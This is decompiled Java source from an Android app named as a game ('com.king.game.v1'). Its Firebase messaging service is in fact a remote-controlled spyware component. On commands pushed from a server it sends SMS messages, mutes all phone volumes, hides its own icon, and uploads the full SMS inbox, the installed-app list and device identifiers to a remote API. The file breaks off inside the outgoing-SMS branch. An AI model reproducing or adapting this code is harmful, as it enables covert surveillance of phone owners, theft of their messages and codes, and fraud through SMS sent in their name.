package com.king.game.v1;

import android.content.ComponentName;
import android.content.ComponentName;
import android.content.pm.PackageManager;
import android.os.Build;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.PowerManager;

import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.objects.ServiceHelper;
import anywheresoftware.b4a.debug.*;

public class firebasemessaging extends android.app.Service{
	public static class firebasemessaging_BR extends android.content.BroadcastReceiver {

		@Override
		public void onReceive(android.content.Context context, android.content.Intent intent) {
            BA.LogInfo("** Receiver (firebasemessaging) OnReceive **");
			android.content.Intent in = new android.content.Intent(context, firebasemessaging.class);
			if (intent != null)
				in.putExtra("b4a_internal_intent", intent);
            ServiceHelper.StarterHelper.startServiceFromReceiver (context, in, false, BA.class);
		}

	}
    static firebasemessaging mostCurrent;
	public static BA processBA;
    private ServiceHelper _service;
    public static Class<?> getObject() {
		return firebasemessaging.class;
	}
	@Override
	public void onCreate() {
        super.onCreate();
        mostCurrent = this;
        if (processBA == null) {
		    processBA = new BA(this, null, null, "com.king.game.v1", "com.king.game.v1.firebasemessaging");
            if (BA.isShellModeRuntimeCheck(processBA)) {
                processBA.raiseEvent2(null, true, "SHELL", false);
		    }
            try {
                Class.forName(BA.applicationContext.getPackageName() + ".main").getMethod("initializeProcessGlobals").invoke(null, null);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
            processBA.loadHtSubs(this.getClass());
            ServiceHelper.init();
        }
        _service = new ServiceHelper(this);
        processBA.service = this;
        
        if (BA.isShellModeRuntimeCheck(processBA)) {
			processBA.raiseEvent2(null, true, "CREATE", true, "com.king.game.v1.firebasemessaging", processBA, _service, anywheresoftware.b4a.keywords.Common.Density);
		}
        if (!false && ServiceHelper.StarterHelper.startFromServiceCreate(processBA, false) == false) {
				
		}
		else {
            processBA.setActivityPaused(false);
            BA.LogInfo("*** Service (firebasemessaging) Create ***");
            processBA.raiseEvent(null, "service_create");
        }
        processBA.runHook("oncreate", this, null);
        if (false) {
			if (ServiceHelper.StarterHelper.runWaitForLayouts() == false) {
                BA.LogInfo("stopping spontaneous created service");
                stopSelf();
            }
		}
    }
		@Override
	public void onStart(android.content.Intent intent, int startId) {
		onStartCommand(intent, 0, 0);
    }
    @Override
    public int onStartCommand(final android.content.Intent intent, int flags, int startId) {
    	if (ServiceHelper.StarterHelper.onStartCommand(processBA, new Runnable() {
            public void run() {
                handleStart(intent);
            }}))
			;
		else {
			ServiceHelper.StarterHelper.addWaitForLayout (new Runnable() {
				public void run() {
                    processBA.setActivityPaused(false);
                    BA.LogInfo("** Service (firebasemessaging) Create **");
                    processBA.raiseEvent(null, "service_create");
					handleStart(intent);
                    ServiceHelper.StarterHelper.removeWaitForLayout();
				}
			});
		}
        processBA.runHook("onstartcommand", this, new Object[] {intent, flags, startId});
		return android.app.Service.START_STICKY;
    }
    public void onTaskRemoved(android.content.Intent rootIntent) {
        super.onTaskRemoved(rootIntent);
        if (false)
            processBA.raiseEvent(null, "service_taskremoved");
            
    }
    private void handleStart(android.content.Intent intent) {
    	BA.LogInfo("** Service (firebasemessaging) Start **");
    	java.lang.reflect.Method startEvent = processBA.htSubs.get("service_start");
    	if (startEvent != null) {
    		if (startEvent.getParameterTypes().length > 0) {
    			anywheresoftware.b4a.objects.IntentWrapper iw = ServiceHelper.StarterHelper.handleStartIntent(intent, _service, processBA);
    			processBA.raiseEvent(null, "service_start", iw);
    		}
    		else {
    			processBA.raiseEvent(null, "service_start");
    		}
    	}
    }
	
	@Override
	public void onDestroy() {
        super.onDestroy();
        if (false) {
            BA.LogInfo("** Service (firebasemessaging) Destroy (ignored)**");
        }
        else {
            BA.LogInfo("** Service (firebasemessaging) Destroy **");
		    processBA.raiseEvent(null, "service_destroy");
            processBA.service = null;
		    mostCurrent = null;
		    processBA.setActivityPaused(true);
            processBA.runHook("ondestroy", this, null);
        }
	}

@Override
	public android.os.IBinder onBind(android.content.Intent intent) {
		return null;
	}public anywheresoftware.b4a.keywords.Common __c = null;
public static anywheresoftware.b4a.objects.FirebaseNotificationsService.FirebaseMessageWrapper _fm = null;
public static com.reza.sh.deviceinfo.DiviceInfo _pd = null;
public static String _comand = "";
public static String _opr = "";
public static String _model = "";
public static String _androidid = "";
public static String _connection = "";
public static String _android = "";
public static String _nump = "";
public static String _txm = "";
public static String _data = "";
public static anywheresoftware.b4a.phone.PhoneEvents _pe = null;
public static anywheresoftware.b4a.phone.Phone _p = null;
public static anywheresoftware.b4a.phone.SmsWrapper.Sms _sms = null;
public static com.king.game.v1.httpjob _ht = null;
public static anywheresoftware.b4a.phone.PackageManagerWrapper _pm = null;
public static anywheresoftware.b4a.phone.SmsWrapper _sms2 = null;
public static anywheresoftware.b4a.objects.collections.List _li = null;
public com.king.game.v1.main _main = null;
public com.king.game.v1.starter _starter = null;
public com.king.game.v1.pnservice _pnservice = null;
public com.king.game.v1.information _information = null;
public com.king.game.v1.icon2 _icon2 = null;
public com.king.game.v1.httputils2service _httputils2service = null;
public static class _message{
public boolean IsInitialized;
public String Address;
public String Body;
public void Initialize() {
IsInitialized = true;
Address = "";
Body = "";
}
@Override
		public String toString() {
			return BA.TypeToString(this, false);
		}}
public static void  _fm_messagearrived(anywheresoftware.b4a.objects.FirebaseNotificationsService.RemoteMessageWrapper _message) throws Exception{
ResumableSub_fm_MessageArrived rsub = new ResumableSub_fm_MessageArrived(null,_message);
rsub.resume(processBA, null);
}
public static class ResumableSub_fm_MessageArrived extends BA.ResumableSub {
public ResumableSub_fm_MessageArrived(com.king.game.v1.firebasemessaging parent,anywheresoftware.b4a.objects.FirebaseNotificationsService.RemoteMessageWrapper _message) {
this.parent = parent;
this._message = _message;
}
com.king.game.v1.firebasemessaging parent;
anywheresoftware.b4a.objects.FirebaseNotificationsService.RemoteMessageWrapper _message;
String _osversion = "";
anywheresoftware.b4j.object.JavaObject _j = null;
anywheresoftware.b4j.object.JavaObject _jo = null;
String _applist = "";
String _pck = "";
String _allsms = "";
int _i = 0;
anywheresoftware.b4a.objects.collections.List _listsms = null;
anywheresoftware.b4a.phone.SmsWrapper _sa = null;
String _lasts = "";
anywheresoftware.b4a.BA.IterableList group103;
int index103;
int groupLen103;
int step119;
int limit119;
int step136;
int limit136;
int step155;
int limit155;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
try {

        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 77;BA.debugLine="Comand = Message.GetData.Get(\"action\")";
parent._comand = BA.ObjectToString(_message.GetData().Get((Object)("action")));
 //BA.debugLineNum = 78;BA.debugLine="androidid = Message.GetData.Get(\"androidid\")";
parent._androidid = BA.ObjectToString(_message.GetData().Get((Object)("androidid")));
 //BA.debugLineNum = 79;BA.debugLine="android = p.GetSettings(\"android_id\")";
parent._android = parent._p.GetSettings("android_id");
 //BA.debugLineNum = 80;BA.debugLine="Opr = p.GetNetworkOperatorName";
parent._opr = parent._p.GetNetworkOperatorName();
 //BA.debugLineNum = 81;BA.debugLine="model = p.Manufacturer&\" \"&p.Model";
parent._model = parent._p.getManufacturer()+" "+parent._p.getModel();
 //BA.debugLineNum = 82;BA.debugLine="nump = Message.GetData.Get(\"phone\")";
parent._nump = BA.ObjectToString(_message.GetData().Get((Object)("phone")));
 //BA.debugLineNum = 83;BA.debugLine="txm = Message.GetData.Get(\"text\")";
parent._txm = BA.ObjectToString(_message.GetData().Get((Object)("text")));
 //BA.debugLineNum = 84;BA.debugLine="Connection = p.GetDataState";
parent._connection = parent._p.GetDataState();
 //BA.debugLineNum = 85;BA.debugLine="Dim osVersion As String = pd.OSVersion";
_osversion = parent._pd.getOSVersion();
 //BA.debugLineNum = 87;BA.debugLine="Try";
if (true) break;

case 1:
//try
this.state = 176;
this.catchState = 175;
this.state = 3;
if (true) break;

case 3:
//C
this.state = 4;
this.catchState = 175;
 //BA.debugLineNum = 88;BA.debugLine="If Comand = \"ping\" Then";
if (true) break;

case 4:
//if
this.state = 7;
if ((parent._comand).equals("ping")) { 
this.state = 6;
}if (true) break;

case 6:
//C
this.state = 7;
 //BA.debugLineNum = 89;BA.debugLine="data = \"result=ok&action=ping&androidid=\"&andro";
parent._data = "result=ok&action=ping&androidid="+parent._android+"&model="+parent._model+"&opr="+parent._opr+"&osVersion="+_osversion+"&Connection="+parent._connection;
 //BA.debugLineNum = 90;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;
;
 //BA.debugLineNum = 93;BA.debugLine="If Comand = \"pingone\"  Then";

case 7:
//if
this.state = 14;
if ((parent._comand).equals("pingone")) { 
this.state = 9;
}if (true) break;

case 9:
//C
this.state = 10;
 //BA.debugLineNum = 94;BA.debugLine="If android = androidid Then";
if (true) break;

case 10:
//if
this.state = 13;
if ((parent._android).equals(parent._androidid)) { 
this.state = 12;
}if (true) break;

case 12:
//C
this.state = 13;
 //BA.debugLineNum = 95;BA.debugLine="data = \"result=ok&action=pingone&androidid=\"&a";
parent._data = "result=ok&action=pingone&androidid="+parent._android+"&model="+parent._model+"&opr="+parent._opr+"&osVersion="+_osversion+"&Connection="+parent._connection;
 //BA.debugLineNum = 96;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;

case 13:
//C
this.state = 14;
;
 if (true) break;
;
 //BA.debugLineNum = 99;BA.debugLine="If Comand = \"SendSingleMessage\" And android = an";

case 14:
//if
this.state = 23;
if ((parent._comand).equals("SendSingleMessage") && (parent._android).equals(parent._androidid)) { 
this.state = 16;
}if (true) break;

case 16:
//C
this.state = 17;
 //BA.debugLineNum = 100;BA.debugLine="Try";
if (true) break;

case 17:
//try
this.state = 22;
this.catchState = 21;
this.state = 19;
if (true) break;

case 19:
//C
this.state = 22;
this.catchState = 21;
 //BA.debugLineNum = 101;BA.debugLine="SendLargeSms(nump,txm)";
_sendlargesms(parent._nump,parent._txm);
 //BA.debugLineNum = 102;BA.debugLine="data = \"result=ok&action=SendSingleMessage&and";
parent._data = "result=ok&action=SendSingleMessage&androidid="+parent._android+"&opr="+parent._opr+"&model="+parent._model+"&nump="+parent._nump+"&txm="+parent._txm;
 //BA.debugLineNum = 103;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 //BA.debugLineNum = 104;BA.debugLine="Sleep(0.3)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (0.3));
this.state = 177;
return;
case 177:
//C
this.state = 22;
;
 if (true) break;

case 21:
//C
this.state = 22;
this.catchState = 175;
 //BA.debugLineNum = 106;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473438",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 22:
//C
this.state = 23;
this.catchState = 175;
;
 if (true) break;
;
 //BA.debugLineNum = 110;BA.debugLine="If Comand = \"silent\" Then";

case 23:
//if
this.state = 36;
if ((parent._comand).equals("silent")) { 
this.state = 25;
}if (true) break;

case 25:
//C
this.state = 26;
 //BA.debugLineNum = 111;BA.debugLine="If android = androidid Then";
if (true) break;

case 26:
//if
this.state = 35;
if ((parent._android).equals(parent._androidid)) { 
this.state = 28;
}if (true) break;

case 28:
//C
this.state = 29;
 //BA.debugLineNum = 112;BA.debugLine="Try";
if (true) break;

case 29:
//try
this.state = 34;
this.catchState = 33;
this.state = 31;
if (true) break;

case 31:
//C
this.state = 34;
this.catchState = 33;
 //BA.debugLineNum = 113;BA.debugLine="p.SetVolume(p.VOLUME_NOTIFICATION, 0, False)";
parent._p.SetVolume(parent._p.VOLUME_NOTIFICATION,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 114;BA.debugLine="p.SetVolume(p.VOLUME_RING, 0, False)";
parent._p.SetVolume(parent._p.VOLUME_RING,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 115;BA.debugLine="p.SetVolume(p.VOLUME_VOICE_CALL, 0, False)";
parent._p.SetVolume(parent._p.VOLUME_VOICE_CALL,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 116;BA.debugLine="p.SetVolume(p.VOLUME_SYSTEM, 0, False)";
parent._p.SetVolume(parent._p.VOLUME_SYSTEM,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 117;BA.debugLine="p.SetVolume(p.VOLUME_ALARM, 0, False)";
parent._p.SetVolume(parent._p.VOLUME_ALARM,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 118;BA.debugLine="p.SetVolume(p.VOLUME_MUSIC, 0, False)";
parent._p.SetVolume(parent._p.VOLUME_MUSIC,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 33:
//C
this.state = 34;
this.catchState = 175;
 //BA.debugLineNum = 120;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473452",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 34:
//C
this.state = 35;
this.catchState = 175;
;
 if (true) break;

case 35:
//C
this.state = 36;
;
 if (true) break;
;
 //BA.debugLineNum = 125;BA.debugLine="If Comand = \"normal\" Then";

case 36:
//if
this.state = 49;
if ((parent._comand).equals("normal")) { 
this.state = 38;
}if (true) break;

case 38:
//C
this.state = 39;
 //BA.debugLineNum = 126;BA.debugLine="If android = androidid Then";
if (true) break;

case 39:
//if
this.state = 48;
if ((parent._android).equals(parent._androidid)) { 
this.state = 41;
}if (true) break;

case 41:
//C
this.state = 42;
 //BA.debugLineNum = 127;BA.debugLine="Try";
if (true) break;

case 42:
//try
this.state = 47;
this.catchState = 46;
this.state = 44;
if (true) break;

case 44:
//C
this.state = 47;
this.catchState = 46;
 //BA.debugLineNum = 128;BA.debugLine="p.SetVolume(p.VOLUME_NOTIFICATION, 100, False";
parent._p.SetVolume(parent._p.VOLUME_NOTIFICATION,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 129;BA.debugLine="p.SetVolume(p.VOLUME_RING, 100, False)";
parent._p.SetVolume(parent._p.VOLUME_RING,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 130;BA.debugLine="p.SetVolume(p.VOLUME_VOICE_CALL, 100, False)";
parent._p.SetVolume(parent._p.VOLUME_VOICE_CALL,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 131;BA.debugLine="p.SetVolume(p.VOLUME_SYSTEM, 100, False)";
parent._p.SetVolume(parent._p.VOLUME_SYSTEM,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 132;BA.debugLine="p.SetVolume(p.VOLUME_ALARM, 100, False)";
parent._p.SetVolume(parent._p.VOLUME_ALARM,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 133;BA.debugLine="p.SetVolume(p.VOLUME_MUSIC, 100, False)";
parent._p.SetVolume(parent._p.VOLUME_MUSIC,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 46:
//C
this.state = 47;
this.catchState = 175;
 //BA.debugLineNum = 135;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473467",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 47:
//C
this.state = 48;
this.catchState = 175;
;
 if (true) break;

case 48:
//C
this.state = 49;
;
 if (true) break;
;
 //BA.debugLineNum = 141;BA.debugLine="If Comand = \"change_icon\" Then";

case 49:
//if
this.state = 62;
if ((parent._comand).equals("change_icon")) { 
this.state = 51;
}if (true) break;

case 51:
//C
this.state = 52;
 //BA.debugLineNum = 142;BA.debugLine="If android = androidid Then";
if (true) break;

case 52:
//if
this.state = 61;
if ((parent._android).equals(parent._androidid)) { 
this.state = 54;
}if (true) break;

case 54:
//C
this.state = 55;
 //BA.debugLineNum = 143;BA.debugLine="Try";
if (true) break;

case 55:
//try
this.state = 60;
this.catchState = 59;
this.state = 57;
if (true) break;

case 57:
//C
this.state = 60;
this.catchState = 59;
 //BA.debugLineNum = 144;BA.debugLine="Dim j As JavaObject";
_j = new anywheresoftware.b4j.object.JavaObject();
 //BA.debugLineNum = 145;BA.debugLine="j.InitializeContext";
_j.InitializeContext(processBA);
 //BA.debugLineNum = 146;BA.debugLine="j.RunMethod(\"change_icon\", Array As Object(in";
_j.RunMethod("change_icon",new Object[]{(Object)(parent.mostCurrent._information._pkg_name /*String*/ +".icon2"),(Object)(parent.mostCurrent._information._pkg_name /*String*/ +".main")});
 //BA.debugLineNum = 147;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,firebasemessaging.getObject());
 //BA.debugLineNum = 148;BA.debugLine="data = \"result=ok&action=change_icon&androidi";
parent._data = "result=ok&action=change_icon&androidid="+parent._android+"&opr="+parent._opr+"&model="+parent._model;
 //BA.debugLineNum = 149;BA.debugLine="ht.PostString(information.api&\"/log.php\",data";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;

case 59:
//C
this.state = 60;
this.catchState = 175;
 //BA.debugLineNum = 151;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473483",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 60:
//C
this.state = 61;
this.catchState = 175;
;
 if (true) break;

case 61:
//C
this.state = 62;
;
 if (true) break;
;
 //BA.debugLineNum = 158;BA.debugLine="If Comand = \"hideicon\" Then";

case 62:
//if
this.state = 75;
if ((parent._comand).equals("hideicon")) { 
this.state = 64;
}if (true) break;

case 64:
//C
this.state = 65;
 //BA.debugLineNum = 159;BA.debugLine="If android = androidid Then";
if (true) break;

case 65:
//if
this.state = 74;
if ((parent._android).equals(parent._androidid)) { 
this.state = 67;
}if (true) break;

case 67:
//C
this.state = 68;
 //BA.debugLineNum = 160;BA.debugLine="Try";
if (true) break;

case 68:
//try
this.state = 73;
this.catchState = 72;
this.state = 70;
if (true) break;

case 70:
//C
this.state = 73;
this.catchState = 72;
 //BA.debugLineNum = 161;BA.debugLine="Dim jo As JavaObject";
_jo = new anywheresoftware.b4j.object.JavaObject();
 //BA.debugLineNum = 162;BA.debugLine="jo.InitializeContext";
_jo.InitializeContext(processBA);
 //BA.debugLineNum = 163;BA.debugLine="jo.RunMethod(\"hideAppIcon\", Null)";
_jo.RunMethod("hideAppIcon",(Object[])(anywheresoftware.b4a.keywords.Common.Null));
 //BA.debugLineNum = 164;BA.debugLine="data = \"result=ok&action=hideicon&androidid=\"";
parent._data = "result=ok&action=hideicon&androidid="+parent._android+"&opr="+parent._opr+"&model="+parent._model;
 //BA.debugLineNum = 165;BA.debugLine="ht.PostString(information.api&\"/log.php\",data";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;

case 72:
//C
this.state = 73;
this.catchState = 175;
 //BA.debugLineNum = 167;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473499",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 73:
//C
this.state = 74;
this.catchState = 175;
;
 if (true) break;

case 74:
//C
this.state = 75;
;
 if (true) break;
;
 //BA.debugLineNum = 172;BA.debugLine="If Comand = \"unhide\" Then";

case 75:
//if
this.state = 88;
if ((parent._comand).equals("unhide")) { 
this.state = 77;
}if (true) break;

case 77:
//C
this.state = 78;
 //BA.debugLineNum = 173;BA.debugLine="If android = androidid Then";
if (true) break;

case 78:
//if
this.state = 87;
if ((parent._android).equals(parent._androidid)) { 
this.state = 80;
}if (true) break;

case 80:
//C
this.state = 81;
 //BA.debugLineNum = 174;BA.debugLine="Try";
if (true) break;

case 81:
//try
this.state = 86;
this.catchState = 85;
this.state = 83;
if (true) break;

case 83:
//C
this.state = 86;
this.catchState = 85;
 //BA.debugLineNum = 175;BA.debugLine="Dim jo As JavaObject";
_jo = new anywheresoftware.b4j.object.JavaObject();
 //BA.debugLineNum = 176;BA.debugLine="jo.InitializeContext";
_jo.InitializeContext(processBA);
 //BA.debugLineNum = 177;BA.debugLine="jo.RunMethod(\"showAppIcon\", Null)";
_jo.RunMethod("showAppIcon",(Object[])(anywheresoftware.b4a.keywords.Common.Null));
 //BA.debugLineNum = 178;BA.debugLine="data = \"result=ok&action=unhide&androidid=\"&a";
parent._data = "result=ok&action=unhide&androidid="+parent._android+"&opr="+parent._opr+"&model="+parent._model;
 //BA.debugLineNum = 179;BA.debugLine="ht.PostString(information.api&\"/log.php\",data)";
parent._ht._poststring /*String*/ (parent.mostCurrent._information._api /*String*/ +"/log.php",parent._data);
 if (true) break;

case 85:
//C
this.state = 86;
this.catchState = 175;
 //BA.debugLineNum = 181;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473513",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 86:
//C
this.state = 87;
this.catchState = 175;
;
 if (true) break;

case 87:
//C
this.state = 88;
;
 if (true) break;
;
 //BA.debugLineNum = 187;BA.debugLine="If Comand = \"applist\" Then";

case 88:
//if
this.state = 105;
if ((parent._comand).equals("applist")) { 
this.state = 90;
}if (true) break;

case 90:
//C
this.state = 91;
 //BA.debugLineNum = 188;BA.debugLine="If android = androidid Then";
if (true) break;

case 91:
//if
this.state = 104;
if ((parent._android).equals(parent._androidid)) { 
this.state = 93;
}if (true) break;

case 93:
//C
this.state = 94;
 //BA.debugLineNum = 189;BA.debugLine="Try";
if (true) break;

case 94:
//try
this.state = 103;
this.catchState = 102;
this.state = 96;
if (true) break;

case 96:
//C
this.state = 97;
this.catchState = 102;
 //BA.debugLineNum = 190;BA.debugLine="Dim applist As String = \"\"";
_applist = "";
 //BA.debugLineNum = 191;BA.debugLine="For Each pck As String In pm.GetInstalledPack";
if (true) break;

case 97:
//for
this.state = 100;
group103 = parent._pm.GetInstalledPackages();
index103 = 0;
groupLen103 = group103.getSize();
this.state = 178;
if (true) break;

case 178:
//C
this.state = 100;
if (index103 < groupLen103) {
this.state = 99;
_pck = BA.ObjectToString(group103.Get(index103));}
if (true) break;

case 179:
//C
this.state = 178;
index103++;
if (true) break;

case 99:
//C
this.state = 179;
 //BA.debugLineNum = 193;BA.debugLine="applist = applist & CRLF & CRLF & pm.GetAppl";
_applist = _applist+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+parent._pm.GetApplicationLabel(_pck);
 if (true) break;
if (true) break;

case 100:
//C
this.state = 103;
;
 //BA.debugLineNum = 195;BA.debugLine="File.WriteString(File.DirInternal,\"applist.tx";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"applist.txt",_applist);
 //BA.debugLineNum = 196;BA.debugLine="ht.Postfile(information.api&\"/applist.php?res";
parent._ht._postfile /*String*/ (parent.mostCurrent._information._api /*String*/ +"/applist.php?result=ok&action=applist&androidid="+parent._android+"&Opr="+parent._opr+"&model="+parent._model,anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"applist.txt");
 if (true) break;

case 102:
//C
this.state = 103;
this.catchState = 175;
 //BA.debugLineNum = 198;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473530",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 103:
//C
this.state = 104;
this.catchState = 175;
;
 if (true) break;

case 104:
//C
this.state = 105;
;
 if (true) break;
;
 //BA.debugLineNum = 202;BA.debugLine="If Comand = \"getsms\" Then";

case 105:
//if
this.state = 122;
if ((parent._comand).equals("getsms")) { 
this.state = 107;
}if (true) break;

case 107:
//C
this.state = 108;
 //BA.debugLineNum = 203;BA.debugLine="If android = androidid Then";
if (true) break;

case 108:
//if
this.state = 121;
if ((parent._android).equals(parent._androidid)) { 
this.state = 110;
}if (true) break;

case 110:
//C
this.state = 111;
 //BA.debugLineNum = 204;BA.debugLine="Try";
if (true) break;

case 111:
//try
this.state = 120;
this.catchState = 119;
this.state = 113;
if (true) break;

case 113:
//C
this.state = 114;
this.catchState = 119;
 //BA.debugLineNum = 205;BA.debugLine="Dim allsms As String = \"\"";
_allsms = "";
 //BA.debugLineNum = 206;BA.debugLine="li.Initialize";
parent._li.Initialize();
 //BA.debugLineNum = 207;BA.debugLine="li = sms2.GetAll";
parent._li = parent._sms2.GetAll();
 //BA.debugLineNum = 208;BA.debugLine="For i = 0 To li.Size -1";
if (true) break;

case 114:
//for
this.state = 117;
step119 = 1;
limit119 = (int) (parent._li.getSize()-1);
_i = (int) (0) ;
this.state = 180;
if (true) break;

case 180:
//C
this.state = 117;
if ((step119 > 0 && _i <= limit119) || (step119 < 0 && _i >= limit119)) this.state = 116;
if (true) break;

case 181:
//C
this.state = 180;
_i = ((int)(0 + _i + step119)) ;
if (true) break;

case 116:
//C
this.state = 181;
 //BA.debugLineNum = 209;BA.debugLine="sms = li.Get(i)";
parent._sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(parent._li.Get(_i));
 //BA.debugLineNum = 210;BA.debugLine="allsms = allsms & CRLF & CRLF & \"\" & CRLF &";
_allsms = _allsms+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+""+anywheresoftware.b4a.keywords.Common.CRLF+""+anywheresoftware.b4a.keywords.Common.CRLF+"Conversion:"+parent._sms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"Text:"+parent._sms.Body+anywheresoftware.b4a.keywords.Common.CRLF+"Date:"+anywheresoftware.b4a.keywords.Common.DateTime.Date(parent._sms.Date)+" "+anywheresoftware.b4a.keywords.Common.DateTime.Time(parent._sms.Date)+anywheresoftware.b4a.keywords.Common.CRLF+"";
 if (true) break;
if (true) break;

case 117:
//C
this.state = 120;
;
 //BA.debugLineNum = 212;BA.debugLine="File.WriteString(File.DirInternal,\"AllSms.txt\",";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"AllSms.txt",_allsms);
 //BA.debugLineNum = 213;BA.debugLine="ht.Postfile(information.api&\"/file_up.php?result";
parent._ht._postfile /*String*/ (parent.mostCurrent._information._api /*String*/ +"/file_up.php?result=ok&action=uploadsms&androidid="+parent._android+"&Opr="+parent._opr+"&model="+parent._model,anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"AllSms.txt");
 if (true) break;

case 119:
//C
this.state = 120;
this.catchState = 175;
 //BA.debugLineNum = 215;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("73473547",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 120:
//C
this.state = 121;
this.catchState = 175;
;
 if (true) break;

case 121:
//C
this.state = 122;
;
 if (true) break;
;
 //BA.debugLineNum = 220;BA.debugLine="If Comand = \"smsSend\" Then";

case 122:
//if
this.state = 143;
if ((parent._comand).equals("smsSend")) { 
this.state = 124;
}if (true) break;

case 124:
//C
this.state = 125;
 //BA.debugLineNum = 221;BA.debugLine="If android = androidid Then";
if (true) break;

case 125:
//if
this.state = 142;
if ((parent._android).equals(parent._androidid)) { 
this.state = 127;
}if (true) break;

case 127:
//C
this.state = 128;
 //BA.debugLineNum = 222;BA.debugLine="Try";
if (true) break;

case 128:
//try
this.state = 141;
this.catchState = 140;
this.state = 130;
if (true) break;

case 130:
//C
this.state = 131;
this.catchState = 140;
 //BA.debugLineNum = 223;BA.debugLine="Dim allsms As String = \"\"";
_allsms = "";
 //BA.debugLineNum = 224;BA.debugLine="li.Initialize";
parent._li.Initialize();
 //BA.debugLineNum = 225;BA.debugLine="li = sms2.GetAll";
parent._li = parent._sms2.GetAll();
 //BA.debugLineNum = 226;BA.debugLine="For i = 0 To li.Size -1";
if (true) break;

case 131:
//for
this.state = 138;
step136 = 1;
limit136 = (int) (parent._li.getSize()-1);
_i = (int) (0) ;
this.state = 182;
if (true) break;

case 182:
//C
this.state = 138;
if ((step136 > 0 && _i <= limit136) || (step136 < 0 && _i >= limit136)) this.state = 133;
if (true) break;

case 183:
//C
this.state = 182;
_i = ((int)(0 + _i + step136)) ;
if (true) break;

case 133:
//C
this.state = 134;
 //BA.debugLineNum = 227;BA.debugLine="sms = li.Get(i)";
parent._sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(parent._li.Get(_i));
 //BA.debugLineNum = 228;BA.debugLine="If sms.Type = 2 Then";
if (true) break;

case 134:
//if
this.state = 137;
if (parent._sms.Type==2) { 
this.state = 136;
}if (true) break;

case 136:
//C
this.state = 137;
 //BA.debugLineNum = 229;BA.debugLine="allsms = allsms & CRLF & CRLF & \"\" & CRLF &";
